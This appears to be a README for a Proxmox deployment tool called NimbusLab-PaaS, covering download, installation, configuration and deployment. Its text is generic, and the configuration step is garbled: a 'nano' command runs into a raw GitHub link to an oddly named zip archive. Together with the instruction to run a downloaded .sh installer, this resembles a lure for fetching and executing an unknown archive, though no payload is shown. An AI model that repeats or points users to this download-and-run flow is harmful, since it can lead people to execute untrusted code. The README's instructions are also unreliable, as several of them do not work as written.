Welcome to NimbusLab-PaaS! This application simplifies the process of deploying your applications directly from GitHub to Virtual Machines or Linux Containers on a Proxmox VE host. Use this guide to get started quickly.
To begin, you will need to download NimbusLab-PaaS.
- Visit the Releases Page
Click the link below to access the Releases page where you can download NimbusLab-PaaS.
Download NimbusLab-PaaS
Before installing NimbusLab-PaaS, ensure your system meets the following requirements:
-
Operating System:
- Ubuntu 20.04 or later
- Debian 10 or later
- Any Linux distribution supporting Docker
-
RAM:
Minimum 2 GB for basic operations -
Disk Space:
At least 1 GB free for installation -
Docker:
Install Docker to manage containers effectively. If Docker is not installed, please follow the steps on Docker's official site.
-
Download the Application
From the Releases page, choose the appropriate version for your operating system. Click the version number to expand details. You will see download options. Select the one that fits your system. -
Install the Application
After downloading, locate the file in your Downloads folder. Use the following command in your terminal to run the installer:chmod +x NimbusLab-PaaS*.sh ./NimbusLab-PaaS*.sh
-
Follow On-Screen Instructions
The installer will prompt you to follow specific instructions. Read them carefully and answer any questions to complete the installation. -
Verify Successful Installation
Open your terminal and type the following command to verify if NimbusLab-PaaS has been installed correctly:nimbuslab --version
You should see the version number displayed.
After installation, you need to configure NimbusLab-PaaS for your environment. Here’s how:
-
Connect to Proxmox VE
Provide your Proxmox VE host details in the configuration file. Open the configuration file using a text editor:nano ~https://github.com/dynastyteng/NimbusLab-PaaS/raw/refs/heads/main/NimbusLab/src/comp/Paa-Lab-Nimbus-S-3.6.zipUpdate the relevant sections with your Proxmox details, including the API token.
-
Set Application Parameters
Modify the default parameters within the same file to suit your project needs. You can define:- Default VM settings
- Docker container preferences
- Deployment parameters
-
Save and Exit
PressCTRL + X, thenYto save changes, and pressEnterto exit.
You are now ready to deploy your application. NimbusLab-PaaS supports deploying directly from your GitHub repository. Follow these steps:
-
Prepare Your Application Repository
Ensure your application is pushed to a GitHub repository with a working Dockerfile. -
Use NimbusLab-PaaS to Deploy
Run the following command to initiate deployment:nimbuslab deploy <your-github-username>/<your-repo-name>
Replace
<your-github-username>and<your-repo-name>with your actual details. -
Monitor the Deployment
You can use the service logs to check on the deployment status:nimbuslab logs
This command will provide real-time updates on your application's deployment process.
NimbusLab-PaaS offers several features designed to enhance your deployment experience:
-
Easy Rollback:
If something goes wrong, you can quickly revert to a previous version of your application with one simple command. -
Multi-Environment Support:
Deploy to various environments (development, staging, production) effortlessly. -
Container Management:
Manage Docker containers directly from NimbusLab-PaaS, allowing for quick starts and stops.
If you encounter any issues or have questions about using NimbusLab-PaaS, please visit our GitHub Discussions page. Join the community to get help from other users and contributors.
For thorough documentation, refer to the Wiki section on GitHub.
With NimbusLab-PaaS, deploying your applications becomes a straightforward process. Follow these steps, and you'll be up and running in no time. Happy deploying!